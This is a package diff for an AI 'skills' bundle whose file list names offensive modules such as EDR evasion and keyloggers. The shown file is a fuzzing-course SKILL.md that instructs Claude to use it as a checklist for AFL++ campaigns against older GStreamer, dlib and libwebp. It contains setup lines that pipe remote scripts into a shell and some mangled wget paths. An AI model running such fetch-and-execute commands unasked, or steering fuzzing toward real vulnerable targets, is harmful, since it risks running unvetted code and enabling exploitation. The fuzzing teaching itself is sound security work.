@aegis-scan/skills 0.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (69) hide show
  1. package/ATTRIBUTION.md +75 -0
  2. package/CHANGELOG.md +129 -0
  3. package/LICENSE +21 -0
  4. package/README.md +123 -0
  5. package/dist/bin.d.ts +3 -0
  6. package/dist/bin.d.ts.map +1 -0
  7. package/dist/bin.js +122 -0
  8. package/dist/bin.js.map +1 -0
  9. package/dist/commands/info.d.ts +5 -0
  10. package/dist/commands/info.d.ts.map +1 -0
  11. package/dist/commands/info.js +75 -0
  12. package/dist/commands/info.js.map +1 -0
  13. package/dist/commands/install.d.ts +7 -0
  14. package/dist/commands/install.d.ts.map +1 -0
  15. package/dist/commands/install.js +87 -0
  16. package/dist/commands/install.js.map +1 -0
  17. package/dist/commands/list.d.ts +7 -0
  18. package/dist/commands/list.d.ts.map +1 -0
  19. package/dist/commands/list.js +82 -0
  20. package/dist/commands/list.js.map +1 -0
  21. package/dist/index.d.ts +13 -0
  22. package/dist/index.d.ts.map +1 -0
  23. package/dist/index.js +13 -0
  24. package/dist/index.js.map +1 -0
  25. package/dist/skills-loader.d.ts +23 -0
  26. package/dist/skills-loader.d.ts.map +1 -0
  27. package/dist/skills-loader.js +213 -0
  28. package/dist/skills-loader.js.map +1 -0
  29. package/package.json +63 -0
  30. package/skills/defensive/README.md +9 -0
  31. package/skills/mitre-mapped/README.md +10 -0
  32. package/skills/offensive/snailsploit-fork/advanced-redteam/SKILL.md +148 -0
  33. package/skills/offensive/snailsploit-fork/ai-security/SKILL.md +592 -0
  34. package/skills/offensive/snailsploit-fork/basic-exploitation/SKILL.md +10783 -0
  35. package/skills/offensive/snailsploit-fork/bug-identification/SKILL.md +1256 -0
  36. package/skills/offensive/snailsploit-fork/crash-analysis/SKILL.md +12466 -0
  37. package/skills/offensive/snailsploit-fork/deserialization/SKILL.md +185 -0
  38. package/skills/offensive/snailsploit-fork/edr-evasion/SKILL.md +1806 -0
  39. package/skills/offensive/snailsploit-fork/exploit-dev-course/SKILL.md +428 -0
  40. package/skills/offensive/snailsploit-fork/exploit-development/SKILL.md +699 -0
  41. package/skills/offensive/snailsploit-fork/fast-checking/SKILL.md +487 -0
  42. package/skills/offensive/snailsploit-fork/file-upload/SKILL.md +822 -0
  43. package/skills/offensive/snailsploit-fork/fuzzing/SKILL.md +340 -0
  44. package/skills/offensive/snailsploit-fork/fuzzing-course/SKILL.md +2105 -0
  45. package/skills/offensive/snailsploit-fork/graphql/SKILL.md +209 -0
  46. package/skills/offensive/snailsploit-fork/idor/SKILL.md +608 -0
  47. package/skills/offensive/snailsploit-fork/initial-access/SKILL.md +1528 -0
  48. package/skills/offensive/snailsploit-fork/jwt/SKILL.md +276 -0
  49. package/skills/offensive/snailsploit-fork/keylogger-arch/SKILL.md +197 -0
  50. package/skills/offensive/snailsploit-fork/mitigations/SKILL.md +1351 -0
  51. package/skills/offensive/snailsploit-fork/oauth/SKILL.md +366 -0
  52. package/skills/offensive/snailsploit-fork/open-redirect/SKILL.md +487 -0
  53. package/skills/offensive/snailsploit-fork/osint/SKILL.md +399 -0
  54. package/skills/offensive/snailsploit-fork/osint-methodology/SKILL.md +434 -0
  55. package/skills/offensive/snailsploit-fork/parameter-pollution/SKILL.md +595 -0
  56. package/skills/offensive/snailsploit-fork/race-condition/SKILL.md +881 -0
  57. package/skills/offensive/snailsploit-fork/rce/SKILL.md +1069 -0
  58. package/skills/offensive/snailsploit-fork/request-smuggling/SKILL.md +773 -0
  59. package/skills/offensive/snailsploit-fork/shellcode/SKILL.md +477 -0
  60. package/skills/offensive/snailsploit-fork/sqli/SKILL.md +372 -0
  61. package/skills/offensive/snailsploit-fork/ssrf/SKILL.md +830 -0
  62. package/skills/offensive/snailsploit-fork/ssti/SKILL.md +349 -0
  63. package/skills/offensive/snailsploit-fork/vuln-classes/SKILL.md +1229 -0
  64. package/skills/offensive/snailsploit-fork/waf-bypass/SKILL.md +820 -0
  65. package/skills/offensive/snailsploit-fork/windows-boundaries/SKILL.md +15153 -0
  66. package/skills/offensive/snailsploit-fork/windows-mitigations/SKILL.md +14546 -0
  67. package/skills/offensive/snailsploit-fork/xss/SKILL.md +784 -0
  68. package/skills/offensive/snailsploit-fork/xxe/SKILL.md +996 -0
  69. package/skills/ops/README.md +6 -0
@@ -0,0 +1,2105 @@
1
+ <!-- aegis-local: forked 2026-04-23 from SnailSploit/Claude-Red@c74d53e2938b59f111572e0819265a1e73029393; attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ # SKILL: Week 2: Finding Vulnerabilities Through Fuzzing
4
+
5
+ ## Metadata
6
+ - **Skill Name**: fuzzing-course
7
+ - **Folder**: offensive-fuzzing-course
8
+ - **Source**: https://github.com/SnailSploit/offensive-checklist/blob/main/2-fuzzing.md
9
+
10
+ ## Description
11
+ Week 2 of the exploit development curriculum. Covers fuzzing methodology: target selection, corpus generation, coverage-guided fuzzing with AFL++/libFuzzer, structured fuzzing, and triage/deduplication. Use when setting up fuzz campaigns, selecting harness strategies, or triaging fuzzer output.
12
+
13
+ ## Trigger Phrases
14
+ Use this skill when the conversation involves any of:
15
+ `fuzzing curriculum, AFL++, libFuzzer, coverage-guided fuzzing, corpus generation, harness, fuzz target, mutation, triage, crash dedup, week 2, exploit dev course`
16
+
17
+ ## Instructions for Claude
18
+
19
+ When this skill is active:
20
+ 1. Load and apply the full methodology below as your operational checklist
21
+ 2. Follow steps in order unless the user specifies otherwise
22
+ 3. For each technique, consider applicability to the current target/context
23
+ 4. Track which checklist items have been completed
24
+ 5. Suggest next steps based on findings
25
+
26
+ ---
27
+
28
+ ## Full Methodology
29
+
30
+ # Week 2: Finding Vulnerabilities Through Fuzzing
31
+
32
+ ## Overview
33
+
34
+ _created by AnotherOne from @Pwn3rzs Telegram channel_.
35
+
36
+ This document is Week 2 of a multi‑week exploit development course, focusing on discovering vulnerabilities through fuzzing techniques and analyzing the crashes to determine exploitability.
37
+
38
+ Last week we studied vulnerability classes through real-world examples. This week we'll learn to find these vulnerabilities ourselves using fuzzing - the automated technique that has discovered thousands of critical security bugs in production software.
39
+
40
+ Fuzzing can feel a bit front‑loaded: you may spend time wiring harnesses and running campaigns without immediately finding exciting new bugs, especially on hardened or well‑tested targets. That’s normal, and it's one reason the next week on patch diffing often feels more directly "practical" — many companies already run large fuzzing setups and need people who can understand and exploit the bugs those systems uncover. Still, working through this week is important: it teaches you how fuzzers actually discover real vulnerabilities, so when you later triage crashes or study patches, you'll have a solid intuition for how those bugs were found and how to reproduce them.
41
+
42
+ ### Prerequisites
43
+
44
+ Before starting this week, ensure you have:
45
+
46
+ - A Linux virtual machine (Ubuntu 24.04 recommended) with at least 8GB RAM and 8 cpu cores
47
+ - Basic understanding of C/C++ programming
48
+ - Familiarity with command-line tools and debugging (GDB basics)
49
+ - Understanding of memory corruption vulnerabilities (from Week 1)
50
+
51
+ ## Day 1: Introduction to Fuzzing
52
+
53
+ - **Goal**: Understand the fundamentals of fuzzing and get hands-on experience with `AFL++`.
54
+ - **Activities**:
55
+ - _Reading_: "Fuzzing for Software Security Testing and Quality Assurance" by `Ari Takanen`(From 1.3.2 to 1.3.8 and 2.4.1 to 2.7.5).
56
+ - _Online Resource_:
57
+ - [Fuzzing Book by `Andreas Zeller`](https://www.fuzzingbook.org/) - Read "Introduction" and "Fuzzing Basics."
58
+ - [`AFL++` Documentation](https://aflplus.plus/docs/) - Follow the quick start guide.
59
+ - [Interactive Module to Learn Fuzzing](https://github.com/alex-maleno/Fuzzing-Module.git)
60
+ - _Real-World Context_:
61
+ - [Google OSS-Fuzz: Finding 36,000+ bugs across 1,000+ projects](https://google.github.io/oss-fuzz/)
62
+ - [AFL Success Stories](https://lcamtuf.blogspot.com/2014/11/afl-fuzz-nobody-expects-cdata-sections.html) - Real vulnerabilities found by AFL
63
+ - _Exercise_:
64
+ - Set up a Linux virtual machine (VM) with the necessary tools installed, including compilers and debuggers
65
+ - Run `AFL++` on a C program
66
+ - If possible, use or write a small C program that contains a simple version of one of the Week 1 vulnerability classes (for example, a stack buffer overflow or integer overflow) so you can see fuzzing rediscover it.
67
+
68
+ ```bash
69
+ # Setting up AFL++
70
+
71
+ # Install build dependencies
72
+ sudo apt update
73
+ sudo apt install -y build-essential gcc-13-plugin-dev cpio python3-dev libcapstone-dev \
74
+ pkg-config libglib2.0-dev libpixman-1-dev automake autoconf python3-pip \
75
+ ninja-build cmake git wget python3.12-venv meson
76
+
77
+ # Install LLVM (check latest version at https://apt.llvm.org/)
78
+ wget https://apt.llvm.org/llvm.sh
79
+ chmod +x llvm.sh
80
+ sudo ./llvm.sh 19 all
81
+
82
+ # Verify LLVM installation
83
+ clang-19 --version
84
+ llvm-config-19 --version
85
+
86
+ # Install Rust (required for some AFL++ components)
87
+ curl --proto '=https' --tlsv1.2 -sSf "https://sh.rustup.rs" | sh
88
+ source ~/.cargo/env
89
+
90
+ # Build and install AFL++
91
+ mkdir -p ~/soft && cd ~/soft
92
+ git clone --depth 1 https://github.com/AFLplusplus/AFLplusplus.git
93
+ cd AFLplusplus
94
+ # NOTE: unicorn support might fail(you need to add the env or run ./build_unicorn_support.py and fix issues yourself)
95
+ make distrib
96
+ sudo make install
97
+
98
+ # Verify installation
99
+ which afl-fuzz
100
+ afl-fuzz --version
101
+
102
+ # Phase 1: Simple crash example
103
+ cd ~/ && mkdir -p tuts && cd tuts
104
+ git clone --branch main --depth 1 https://github.com/alex-maleno/Fuzzing-Module.git
105
+ cd Fuzzing-Module/exercise1 && mkdir -p build && cd build
106
+
107
+ # Compile with AFL++ instrumentation
108
+ CC=/usr/local/bin/afl-clang-fast CXX=/usr/local/bin/afl-clang-fast++ cmake ..
109
+ make
110
+
111
+ # Create seed inputs
112
+ cd .. && mkdir -p seeds && cd seeds
113
+ for i in {0..4}; do
114
+ dd if=/dev/urandom of=seed_$i bs=64 count=10 2>/dev/null
115
+ done
116
+
117
+ # Run AFL++ fuzzer
118
+ cd ../build
119
+ echo core | sudo tee /proc/sys/kernel/core_pattern
120
+ afl-fuzz -i ../seeds/ -o out -m none -d -- ./simple_crash
121
+
122
+ # Expected output: AFL++ interface showing coverage, crashes, etc.
123
+ # Look for crashes in out/crashes/ directory
124
+
125
+ # Phase 2: Medium complexity example
126
+ cd ~/tuts/Fuzzing-Module/exercise2 && mkdir -p build && cd build
127
+ CC=/usr/local/bin/afl-clang-lto CXX=/usr/local/bin/afl-clang-lto++ cmake ..
128
+ make
129
+
130
+ cd .. && mkdir -p seeds && cd seeds
131
+ for i in {0..4}; do
132
+ dd if=/dev/urandom of=seed_$i bs=64 count=10 2>/dev/null
133
+ done
134
+
135
+ cd ../build
136
+ afl-fuzz -i ../seeds/ -o out -m none -d -- ./medium
137
+ ```
138
+
139
+ **Success Criteria**:
140
+
141
+ - AFL++ compiles and installs without errors
142
+ - Both fuzzing sessions start successfully
143
+ - You can see the AFL++ status screen showing paths found, crashes, etc.
144
+ - Check `out/crashes/` directory for any discovered crashes
145
+
146
+ **Troubleshooting**:
147
+
148
+ - If `afl-clang-fast` not found: Check `/usr/local/bin/` is in PATH
149
+ - If compilation fails: Ensure LLVM 19 is properly installed (`clang-19 --version`)
150
+ - If fuzzer doesn't start: Check CPU scaling governor (`echo performance | sudo tee /sys/devices/system/cpu/cpu*/cpufreq/scaling_governor`)
151
+
152
+ ### Real-World Impact: AFL++ Finding CVE-2024-47606 (GStreamer)
153
+
154
+ **Background**: AFL++ and similar fuzzers are actively used to find vulnerabilities in production software. Let's examine a real case from Week 1.
155
+
156
+ **Case Study - CVE-2024-47606 (GStreamer Signed-to-Unsigned Integer Underflow)**:
157
+
158
+ - **Discovery Method**: Continuous fuzzing campaigns by security researchers using AFL++ on media parsers
159
+ - **The Bug**: GStreamer's `qtdemux_parse_theora_extension` had a signed integer underflow that became massive unsigned value
160
+ - **Attack Surface**: MP4/MOV files processed automatically by browsers, media players, messaging apps
161
+ - **Fuzzing Approach**:
162
+ 1. Target: GStreamer's QuickTime demuxer (`qtdemux`)
163
+ 2. Seed corpus: Valid MP4 files from public datasets
164
+ 3. Instrumentation: Compiled with AFL++ and AddressSanitizer
165
+ 4. Mutation strategy: Structure-aware (understanding MP4 atoms)
166
+ 5. Result: Heap buffer overflow crash after ~48 hours of fuzzing
167
+
168
+ **Why Fuzzing Found It**:
169
+
170
+ - **Rare Input Combination**: Required specific Theora extension size values that underflow
171
+ - **Static Analysis Limitation**: Signed-to-unsigned conversion buried in complex parsing logic
172
+ - **Code Review Miss**: Integer arithmetic looked correct without considering negative values
173
+ - **Automated Testing Gap**: Unit tests didn't cover malformed Theora extensions
174
+
175
+ **The Discovery Process**:
176
+
177
+ ```bash
178
+ # 1) Generate a structured MP4 seed corpus (GitHub Security Lab generator)
179
+ cd ~/tuts && git clone --depth 1 https://github.com/github/securitylab.git
180
+ cd ~/tuts/securitylab/Fuzzing/GStreamer
181
+ make
182
+ mkdir -p corpus/mp4
183
+ ./generator -o corpus/mp4
184
+
185
+ # 2) Build a vulnerable GStreamer (< 1.24.10) with AFL++ + ASan
186
+ cd ~/tuts
187
+ git clone --branch 1.24.9 --depth 1 https://gitlab.freedesktop.org/gstreamer/gstreamer.git
188
+ cd gstreamer
189
+ export CC=afl-clang-fast
190
+ export CXX=afl-clang-fast++
191
+ export CFLAGS="-O1 -g"
192
+ export CXXFLAGS="-O1 -g"
193
+ sudo apt-get install -y flex bison
194
+ # NOTE: this might take a while so you can just build parts of it, not all
195
+ meson setup build-afl --buildtype=debug -Db_sanitize=address
196
+ ninja -C build-afl -j"$(nproc)"
197
+
198
+ # 3) Fuzz the QuickTime demuxer pipeline with AFL++
199
+ mkdir -p findings
200
+ # NOTE: you can fuzz other binaries as well to find bugs
201
+ echo core | sudo tee /proc/sys/kernel/core_pattern
202
+ afl-fuzz -i ~/tuts/securitylab/Fuzzing/GStreamer/corpus/mp4 \
203
+ -o findings -m none -- \
204
+ ./build-afl/subprojects/gstreamer/tools/gst-launch-1.0 \
205
+ filesrc location=@@ ! qtdemux ! fakesink
206
+
207
+ # Typical outcome after hours of fuzzing:
208
+ # - ASan crash inside qtdemux_parse_theora_extension()
209
+ # - heap-buffer-overflow in gst_buffer_fill() when copying attacker-controlled data
210
+ # Root cause (CVE-2024-47606 / GHSL-2024-166, fixed in 1.24.10):
211
+ # - 32-bit signed 'size' underflows → huge unsigned value
212
+ # - _sysmem_new_block() overflows when adding alignment/header → tiny (0x89-byte) allocation
213
+ # - memcpy() writes the huge size, corrupting GstMapInfo and allocator function pointers
214
+ ```
215
+
216
+ **Key Insight**: Fuzzing excels at finding edge cases in complex parsers that humans would never manually test. The combination of:
217
+
218
+ - Coverage-guided mutation (AFL++ exploring new code paths)
219
+ - AddressSanitizer (detecting memory corruption immediately)
220
+ - Persistent fuzzing (running for days/weeks)
221
+
222
+ ...makes it more effective than manual testing for this vulnerability class.
223
+
224
+ ### Key Takeaways
225
+
226
+ 1. **Fuzzing finds real vulnerabilities**: Not just theoretical crashes, but exploitable bugs in production software
227
+ 2. **Coverage-guided fuzzing is powerful**: AFL++ intelligently explores code paths rather than random mutation
228
+ 3. **Sanitizers are essential**: ASAN, UBSAN turn subtle bugs into immediate crashes
229
+ 4. **Time matters**: Many bugs require hours/days of fuzzing to discover
230
+ 5. **Seed corpus quality affects results**: Starting with valid inputs helps reach deeper code paths
231
+
232
+ ### Discussion Questions
233
+
234
+ 1. Why did fuzzing find `CVE-2024-47606` when code review and unit testing didn't?
235
+ 2. What advantages does coverage-guided fuzzing have over purely random fuzzing?
236
+ 3. How do sanitizers (ASAN, UBSAN) enhance fuzzing effectiveness?
237
+ 4. What types of vulnerabilities are fuzzing best suited to find? What types does it miss?
238
+ 5. How can seed corpus selection impact fuzzing effectiveness?
239
+
240
+ ## Day 2: Continue Fuzzing with `AFL++`
241
+
242
+ - **Goal**: Understand and apply advanced fuzzing techniques.
243
+ - **Activities**:
244
+ - _Reading_: Continue with "Fuzzing for Software Security Testing and Quality Assurance" (From 3.3 to 3.9.8).
245
+ - _Real-World Examples_:
246
+ - [AFL++ finds CVE-2020-9385 in ZINT Barcode Generator](https://www.code-intelligence.com/blog/5-cves-found-with-feedback-based-fuzzing) - Stack buffer overflow discovered through fuzzing
247
+ - [AFL++ Fuzzing in Depth](https://aflplus.plus/docs/fuzzing_in_depth/) - How to effectively use afl++
248
+ - [Suricata IDS CVE-2019-16411](https://www.code-intelligence.com/blog/5-cves-found-with-feedback-based-fuzzing) - Out-of-bounds read found via fuzzing
249
+ - _Exercise_:
250
+ - Experiment with different `AFL++` options (for example, dictionary-based fuzzing, persistent mode).
251
+ - Running `AFL++` with a real-world application like a file format parser to mimic real-world scenarios.
252
+ - Optionally, target an image or media parser so you can practice finding heap overflows and out-of-bounds reads similar to the libWebP and GStreamer bugs from Week 1.
253
+
254
+ ```bash
255
+ # Fuzzing a image parser (dlib imglab)
256
+ # NOTE: you can pull older versions to guarantee vulnerable code paths
257
+ cd ~/tuts && git clone --depth 1 --branch v19.24.6 https://github.com/davisking/dlib.git
258
+ cd dlib/tools/imglab && mkdir -p build && cd build
259
+
260
+ # Configure sanitizers for better crash detection
261
+ export AFL_USE_UBSAN=1
262
+ export AFL_USE_ASAN=1
263
+ export ASAN_OPTIONS="detect_leaks=1:abort_on_error=1:allow_user_segv_handler=0:handle_abort=1:symbolize=0"
264
+
265
+ # Install dependencies
266
+ sudo apt install -y libx11-dev libavdevice-dev libavfilter-dev libavformat-dev libavcodec-dev \
267
+ libswresample-dev libswscale-dev libavutil-dev libjxl-dev libjxl-tools
268
+
269
+ # Compile with AFL++ and sanitizers
270
+ cmake -DCMAKE_C_COMPILER=afl-clang-fast \
271
+ -DDLIB_NO_GUI_SUPPORT=0 \
272
+ -DCMAKE_CXX_COMPILER=afl-clang-fast++ \
273
+ -DCMAKE_CXX_FLAGS="-fsanitize=address,leak,undefined -g" \
274
+ -DCMAKE_C_FLAGS="-fsanitize=address,leak,undefined -g" ..
275
+ make -j$(nproc)
276
+
277
+ # Prepare seed corpus
278
+ mkdir -p fuzz/image/in
279
+ cp ../../../examples/faces/testing.xml fuzz/image/in/
280
+
281
+ # TODO: try to improve the fuzzing speed using https://aflplus.plus/docs/fuzzing_in_depth/#i-improve-the-speed
282
+ # Run AFL++ in parallel mode (Master + Slave instances)
283
+ # Terminal 1: Master instance
284
+ echo core | sudo tee /proc/sys/kernel/core_pattern
285
+ afl-fuzz -i fuzz/image/in -o fuzz/image/out -M Master -- ./imglab --stats @@
286
+
287
+ # Terminal 2: Slave instance (for parallel fuzzing)
288
+ afl-fuzz -i fuzz/image/in -o fuzz/image/out -S Slave1 -- ./imglab --stats @@
289
+
290
+ # Install crash analysis tools
291
+ sudo apt install -y gdb python3-pip valgrind
292
+ wget -O ~/.gdbinit-gef.py -q https://gef.blah.cat/py
293
+ echo "source ~/.gdbinit-gef.py" >> ~/.gdbinit
294
+
295
+ # Minimize a crashing input while preserving the crashing behavior (afl-tmin)
296
+ # NOTE: there might be no crashes, either fuzz longer or go back to an older tag
297
+ CRASH=$(ls ~/tuts/dlib/tools/imglab/build/fuzz/image/out/Master/crashes/id* 2>/dev/null | head -n1)
298
+ afl-tmin -i "$CRASH" -o ~/tuts/dlib/tools/imglab/build/fuzz/image/out/Master/crashes/minimized_crash -- ./imglab --stats @@
299
+
300
+ # Cluster and triage crashes with casr-afl (from CASR tools)
301
+ # NOTE: there might be no crashes, either fuzz longer or go back to an older tag
302
+ CASR_URL="https://github.com/ispras/casr/releases/latest/download/casr-x86_64-unknown-linux-gnu.tar.xz"
303
+ INSTALL_DIR="$HOME/.local"
304
+ mkdir -p "$INSTALL_DIR"
305
+ wget -O "$INSTALL_DIR/casr-x86_64-unknown-linux-gnu.tar.xz" "$CASR_URL"
306
+ tar -xJf "$INSTALL_DIR/casr-x86_64-unknown-linux-gnu.tar.xz" -C "$INSTALL_DIR"
307
+ export PATH="$INSTALL_DIR/casr-x86_64-unknown-linux-gnu/bin:$PATH" # provides casr-afl
308
+
309
+ # Now run casr-afl on the AFL++ output directory
310
+ casr-afl -i ~/tuts/dlib/tools/imglab/build/fuzz/image/out/Master -o ~/tuts/dlib/tools/imglab/build/fuzz/image/out/Master_casr_reports
311
+ ```
312
+
313
+ **Expected Outputs**:
314
+
315
+ - AFL++ status screen showing increasing coverage
316
+ - Crashes appearing in `fuzz/image/out/Master/crashes/` or `fuzz/image/out/Slave1/crashes/`
317
+ - AddressSanitizer reports for memory corruption bugs
318
+
319
+ **What to Look For**:
320
+
321
+ - Crashes with `SIGSEGV` or `SIGABRT` signals
322
+ - AddressSanitizer reports showing heap buffer overflows, use-after-free, etc.
323
+ - Unique crash signatures (different stack traces)
324
+
325
+ **Troubleshooting**:
326
+
327
+ - If compilation fails: Check that all dependencies are installed
328
+ - If no crashes found: Let fuzzer run longer (hours/days for real targets)
329
+ - If crashes are false positives: Review ASAN options and adjust
330
+
331
+ ### Real-World Campaign: Fuzzing Image Parsers
332
+
333
+ **Case Study - CVE-2023-4863 (libWebP Heap Buffer Overflow)**:
334
+
335
+ From Week 1, you learned about this critical vulnerability. Let's understand how fuzzing could have (and did) discover similar bugs.
336
+
337
+ - **The Target**: libWebP image decoder, used by Chrome, Firefox, and countless applications
338
+ - **Why It's Fuzzing-Friendly**:
339
+ - Pure input-to-output: takes file bytes, produces image
340
+ - No network/filesystem dependencies
341
+ - Deterministic execution
342
+ - Complex parsing logic with many edge cases
343
+
344
+ **Fuzzing Campaign Strategy**:
345
+
346
+ ```bash
347
+ # Real-world fuzzing setup for image parsers
348
+ cd ~/tuts && git clone --depth 1 --branch 1.0.0 https://chromium.googlesource.com/webm/libwebp
349
+
350
+ cd libwebp && sudo apt-get -y install gcc make autoconf automake libtool
351
+
352
+ # Compile with AFL++ and all sanitizers
353
+ export CC=afl-clang-fast
354
+ export CXX=afl-clang-fast++
355
+ export AFL_USE_ASAN=1
356
+ export AFL_USE_UBSAN=1
357
+ export CFLAGS="-fsanitize=address,undefined -g"
358
+ export CXXFLAGS="-fsanitize=address,undefined -g"
359
+
360
+ ./autogen.sh
361
+ ./configure
362
+ make -j$(nproc)
363
+
364
+ # Create fuzzing harness
365
+ cat > fuzz_webp.c << 'EOF'
366
+ #include <stdint.h>
367
+ #include <stdlib.h>
368
+ #include <stdio.h>
369
+ #include <webp/decode.h>
370
+ #include <webp/types.h>
371
+
372
+ int main(int argc, char **argv) {
373
+ if (argc < 2) return 1;
374
+
375
+ FILE *f = fopen(argv[1], "rb");
376
+ if (!f) return 1;
377
+
378
+ fseek(f, 0, SEEK_END);
379
+ size_t size = ftell(f);
380
+ fseek(f, 0, SEEK_SET);
381
+
382
+ uint8_t *data = malloc(size);
383
+ fread(data, 1, size, f);
384
+ fclose(f);
385
+
386
+ // Fuzz target: decode WebP image
387
+ int width, height;
388
+ uint8_t *output = WebPDecodeRGBA(data, size, &width, &height);
389
+
390
+ if (output) free(output);
391
+ free(data);
392
+ return 0;
393
+ }
394
+ EOF
395
+
396
+ # Compile fuzzing harness
397
+ afl-clang-fast -I./src -o fuzz_webp fuzz_webp.c \
398
+ -L./src/.libs -lwebp -fsanitize=address,undefined -g
399
+
400
+ # Collect seed corpus (valid WebP images)
401
+ mkdir -p ~/tuts/libwebp/seeds
402
+ # Download some WebP test images
403
+ wget -q -O ~/tuts/libwebp/seeds/test1.webp https://www.gstatic.com/webp/gallery/1.webp
404
+ wget -q -O ~/tuts/libwebp/O seeds/test2.webp https://www.gstatic.com/webp/gallery/2.webp
405
+ wget -q -O ~/tuts/libwebp/O seeds/test3.webp https://www.gstatic.com/webp/gallery/3.webp
406
+
407
+ # Run AFL++ fuzzer
408
+ export LD_LIBRARY_PATH=./src/.libs:$LD_LIBRARY_PATH
409
+ afl-fuzz -i seeds/ -o findings/ -m none -d -- ./fuzz_webp @@
410
+
411
+ # Real campaigns run for weeks. OSS-Fuzz runs 24/7.
412
+ # Expected: Crashes in findings/crashes/ directory
413
+ # Analysis: ASAN reports showing heap buffer overflows
414
+ ```
415
+
416
+ **What Fuzzing Discovered**:
417
+
418
+ In the real CVE-2023-4863 case:
419
+
420
+ 1. **Initial crash**: Heap buffer overflow in `BuildHuffmanTable()`
421
+ 2. **Root cause**: Malformed Huffman coding data caused out-of-bounds write
422
+ 3. **ASAN output**: Immediate detection of corruption with exact location
423
+ 4. **Exploitability**: Function pointer hijack possible via heap corruption
424
+
425
+ **Why This Bug Survived Testing**:
426
+
427
+ - **Unit tests**: Covered valid WebP files, not malformed Huffman tables
428
+ - **Static analysis**: Complex pointer arithmetic hard to verify
429
+ - **Code review**: Bounds check looked correct in isolation
430
+ - **Fuzzing advantage**: Generated millions of mutated WebP files, including edge cases
431
+
432
+ **Parallel Fuzzing for Speed**:
433
+
434
+ ```bash
435
+ # Real campaigns use multiple CPU cores
436
+ # Master instance
437
+ afl-fuzz -i seeds/ -o findings/ -M master -m none -- ./fuzz_webp @@
438
+
439
+ # Slave instances (in separate terminals or tmux)
440
+ for i in {1..5}; do
441
+ afl-fuzz -i seeds/ -o findings/ -S slave$i -m none -- ./fuzz_webp @@ &
442
+ done
443
+
444
+ # Check status
445
+ afl-whatsup findings/
446
+
447
+ # Expected output:
448
+ # Master: 1234 paths, 5 crashes
449
+ # Slave1: 987 paths, 2 crashes
450
+ # Slave2: 1056 paths, 3 crashes
451
+ # ... (instances share corpus and findings)
452
+ ```
453
+
454
+ ### Corpus Management and Seed Selection
455
+
456
+ **Why Seed Quality Matters**:
457
+
458
+ ```bash
459
+ # Bad seed corpus: random bytes
460
+ dd if=/dev/urandom of=bad_seed.webp bs=1024 count=10
461
+
462
+ # Result: AFL++ spends time on invalid inputs that fail early parsing
463
+ # Coverage: Only reaches format validation code
464
+
465
+ # Good seed corpus: valid WebP files
466
+ # Result: AFL++ mutates valid structure, reaches deep parsing logic
467
+ # Coverage: Explores Huffman decoding, color space conversion, filters
468
+ ```
469
+
470
+ **Building Effective Seed Corpus**:
471
+
472
+ ```bash
473
+ # 1. Collect diverse valid inputs
474
+ mkdir -p corpus
475
+ # - Different sizes (small, medium, large)
476
+ # - Different features (lossy, lossless, animated)
477
+ # - Different color spaces (RGB, YUV, alpha channel)
478
+ wget -r -l1 -A webp https://www.gstatic.com/webp/gallery/ -P corpus/
479
+
480
+ # 2. Minimize corpus (remove redundant files)
481
+ afl-cmin -i corpus/ -o corpus_min/ -- ./fuzz_webp @@
482
+
483
+ # 3. Minimize individual files (shrink while preserving coverage)
484
+ mkdir -p corpus_tmin
485
+ for f in corpus_min/*; do
486
+ afl-tmin -i "$f" -o "corpus_tmin/$(basename $f)" -- ./fuzz_webp @@
487
+ done
488
+
489
+ # Result: Smaller corpus = faster fuzzing iterations
490
+ # Original: 50 files, 5MB total
491
+ # Minimized: 15 files, 500KB total (same coverage)
492
+ ```
493
+
494
+ ### Key Takeaways
495
+
496
+ 1. **Image parsers are prime fuzzing targets**: Complex, widely-deployed, handle untrusted input
497
+ 2. **OSS-Fuzz prevents 0-days**: Continuous fuzzing finds bugs before attackers
498
+ 3. **Parallel fuzzing scales linearly**: 8 cores = ~8x throughput
499
+ 4. **Corpus quality > corpus size**: Minimized, diverse seeds outperform large random corpus
500
+ 5. **Dictionaries accelerate discovery**: Format-aware tokens reach deeper code paths faster
501
+
502
+ ### Discussion Questions
503
+
504
+ 1. Why are image/media parsers particularly well-suited for fuzzing compared to other software?
505
+ 2. How does corpus minimization improve fuzzing efficiency without losing coverage?
506
+ 3. What trade-offs exist between fuzzing speed (lightweight instrumentation) and bug detection (heavy sanitizers)?
507
+ 4. Why did OSS-Fuzz find bugs in libwebp that years of production use didn't reveal?
508
+ 5. How can you determine if a fuzzing campaign has reached diminishing returns and should target a different component?
509
+ 6. How can you [improve](https://aflplus.plus/docs/fuzzing_in_depth/#i-improve-the-speed) fuzzing speed?
510
+
511
+ ## Day 3: Introduction to Google FuzzTest
512
+
513
+ - **Goal**: Understand in-process fuzzing with FuzzTest and how to turn unit tests into coverage-guided fuzzers that actually find memory corruption bugs.
514
+ - **Activities**:
515
+ - _Reading_: Continue with "Fuzzing for Software Security Testing and Quality Assurance" (From 4.2.1 to 4.4).
516
+ - _Online Resources_:
517
+ - [Google FuzzTest](https://github.com/google/fuzztest) - Read the README and "Getting Started".
518
+ - [Property-based fuzzing vs example-based testing](https://github.com/google/fuzztest#what-is-fuzztest) - Short motivation for FuzzTest.
519
+ - _Exercises_:
520
+ 1. Set up FuzzTest in a small CMake project and run a trivial property-based test.
521
+ 2. Use FuzzTest + AddressSanitizer to rediscover a simple heap buffer overflow (Week 1 vulnerability class).
522
+ 3. Extend the fuzz target to cover a small parser-style function, similar to the image/format parsers from Days 1–2.
523
+
524
+ ### Why FuzzTest in a vulnerability-focused course?
525
+
526
+ FuzzTest is a **unit-test-style, in-process fuzzing framework** from Google that:
527
+
528
+ - **Integrates with GoogleTest**: You write `TEST` and `FUZZ_TEST` side by side in the same file.
529
+ - **Uses coverage-guided fuzzing under the hood** (libFuzzer-style) but hides boilerplate harness code.
530
+ - **Works great for libraries and core logic** (parsers, decoders, crypto helpers) where you already have unit tests.
531
+ - **Is ideal for CI**: The same binary can run fast deterministic tests or long-running fuzz campaigns depending on flags.
532
+
533
+ Where AFL++/Honggfuzz are great for whole programs and black-box binaries, **FuzzTest shines when you have source code and want to fuzz individual C++ functions** directly.
534
+
535
+ ### Lab 1: Set up FuzzTest and run a basic property
536
+
537
+ ```bash
538
+ mkdir -p ~/tuts/first_fuzz_project && cd ~/tuts/first_fuzz_project
539
+ git clone --branch main --depth 1 https://github.com/google/fuzztest.git
540
+
541
